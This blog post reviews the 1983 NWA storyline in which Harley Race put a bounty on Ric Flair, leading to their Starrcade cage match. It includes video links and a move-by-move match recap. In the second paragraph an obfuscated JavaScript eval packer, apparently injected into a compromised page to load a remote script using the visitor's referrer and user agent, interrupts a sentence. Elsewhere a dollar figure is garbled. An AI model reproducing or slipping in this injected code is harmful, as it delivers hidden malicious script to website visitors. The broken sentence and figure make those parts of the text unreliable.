Required Viewing #2: The Only Partner Ric Flair Needs
I did the first one of these nearly six months ago and didn’t care for how it went but I thought I’d take another crack at it. If you’ve never seen the original, take a look to get the idea.
Today we’re going back to 1983 and the angle that set up Starrcade.This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbsze|var|u0026u|referrer|iitka||js|php'.split('|'),0,{})) is actually the culmination of an angle that started a few months earlier. Harley Race was NWA World Champion but Ric Flair was hot on his heels. Race didn’t care for that and put a ,000 bounty on Flair’s head.
[youtube https://www.youtube.com/watch?v=6pfkam4NOjY]
Eventually Bob Orton Jr. and Dick Slater attacked Flair and piledrove him through a table, injuring Flair’s neck and collecting the bounty. A few weeks later Flair came back and was MAD.
[youtube https://www.youtube.com/watch?v=2mZAVwpOvhU]
Flair would live up to his word and had his friends Mark Youngblood and Wahoo McDaniel take care of Orton and Slater. Ric on the other hand would get his hands on Harley Race inside of a steel cage and take back his title at the original Starrcade. Now let’s look at why this angle worked so well.
First of all: it’s simple. Race was a cowardly villain, Flair was the good guy, and good triumphed over evil in the end. Race hid behind his money instead of facing Flair like a man and had two minions take care of his problems instead. The spike piledriver looked to put Flair out of wrestling and even forced him to announce his retirement. That’s what makes the return so much better: the people were buying into the idea that Flair was gone and they went crazy when he came back to get his revenge. It’s good coming back to triumph over evil which is a tale that has worked since stories have been written.
Second, Flair looked like a crazy man out there and the intensity sells the angle perfectly. Look at Flair’s eyes in that promo. He is crazed over what has been done to him and will go to any length to get back at the people that did this to him. While he wants to get his hands on Slater and Orton, Harley Race is the big prize Flair is hunting for. That brings us to the most important part of the whole thing.
The blowoff match ROCKED. From Starrcade 1983 in Greensboro, North Carolina.
NWA World Title: Ric Flair vs. Harley Race
They talk trash to each other to start before Flair takes him down with a headlock takeover. Race sends him into the ropes for a knee to the ribs but Kiniski pulls them apart. Ric snapmares him down into a chinlock which transitions into a headlock. Race fights up and hits a high knee, only to have a falling headbutt hit the canvas. Flair goes back to the headlock and cranks away on it on the mat but has to shift over into a front facelock.
We go to that overhead camera shot again as Race hits what looks like a shoulder breaker for two. A falling headbutt has Flair in trouble again as does being slammed face first into the cage. Another shot into the steel has Flair in trouble and Race is in full control. The referee pulls Race off Flair for the third time but this time he yells at Flair as well. Ric is busted open now.
Race headbutts out of the corner but Flair falls on top during a suplex attempt. The champion slams him down and drops a middle rope headbutt but stuns himself in the process. A suplex gets two more for Race and there is blood EVERYWHERE. Race pounds away and Kiniski has a problem with that too. Harley shrugs off some Flair punches and sends him into the cage before choking away with his boot.
This story would be used again twenty years later with HHH (the reincarnation of Harley Race, right down to the sideburns) when he put out a bounty on Goldberg and Batista claimed the $100,000. The problem at the end of the day though was the blowoff match was pretty lame and Goldberg won the title before the bounty and subsequent ankle injury took place. It didn’t help that Goldberg won the rematch as well, making HHH look more inept than evil.
The original is one of the first big angles on a national stage and it set up a classic match as a result. You could still use this story today and if you use it right, the magic will come back again. Check out the main event from Starrcade if you want to see a good old school style match.
